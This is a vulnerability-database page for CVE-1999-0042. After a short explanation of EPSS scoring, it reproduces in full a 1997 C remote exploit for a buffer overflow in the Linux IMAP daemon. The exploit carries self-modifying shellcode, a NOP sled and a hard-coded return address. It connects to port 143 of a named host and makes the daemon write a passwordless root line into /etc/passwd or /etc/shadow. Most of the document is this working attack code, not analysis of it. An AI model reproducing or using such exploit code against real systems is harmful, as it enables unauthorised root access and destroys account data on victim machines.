CVE-1999-0042 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* This is the remote exploit of the hole in the imap daemon, for Linux. The instruction code is doing open(), write(), and close() system calls, and it adds a line root::0:0.. at the beggining of /etc/passwd (change to /etc/shadow if needed). The code needs to be self modifying since imapd turns everything to lowercase before it pushes it on the stack. The problem is that it rewrites the first line of passwd/shadow, therefore loosing the root password. I'm sorry, but I don't have time to add in the seek syscall. - Akylonius (aky@galeb.etf.bg.ac.yu) [1997] Modifications made on 5.1.97 to accept command line hostname, with 'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org) */ #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <arpa/inet.h> #include <netdb.h> char *h_to_ip(char *hostname); char *h_to_ip(char *hostname) { struct hostent *h; struct sockaddr_in tmp; struct in_addr in; h = gethostbyname(hostname); if (h==NULL) { perror("Resolving the host. \n"); exit(-1); } memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length); memcpy(&in,&tmp.sin_addr.s_addr,4); return(inet_ntoa(in)); } void banner(void) { system("clear"); printf("\nIMAP Exploit for Linux.\n"); printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n"); printf(" Modifications: p1 (p1@el8.org)\n"); } main(int argc, char **argv) { int fd; struct sockaddr_in sckdaddr; char *hostname; char buf[4092]; int i=8; char realegg[] = "\xeb\x58\x5e" "\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26" "\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8" "\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2" "\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31" "\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31" "\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1" "\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83" "\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80" "iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff" "/etc/passwdxroot::0:0:r00t:/:/bin/bashx"; char *point = realegg; buf[0]='*'; buf[1]=' '; buf[2]='l'; buf[3]='o'; buf[4]='g'; buf[5]='i'; buf[6]='n'; buf[7]=' '; banner(); if (argc<2) { printf("\nUsage: %s <hostname>\n\n", argv[0]); exit(-1); } hostname=argv[1]; while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */ buf[i++]=0x90; while(*point) buf[i++]=*(point++); buf[i++]=0x83; /* ebp */ buf[i++]=0xf3; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=0x88; /* ret adr */ buf[i++]=0xf8; buf[i++]=0xff; buf[i++]=0xbf; buf[i++]=' '; buf[i++]='b'; buf[i++]='a'; buf[i++]='h'; buf[i++]='\n'; buf[i++]=0x0; if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the socket. \n"); sckdaddr.sin_port=htons(143); sckdaddr.sin_family=AF_INET; sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname)); if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0) perror("Error with connecting. \n"); printf("hmm: \n"); getchar(); write(fd,buf,strlen(buf)+1); printf("hmm: \n"); close(fd); } // milw0rm.com [1997-06-24]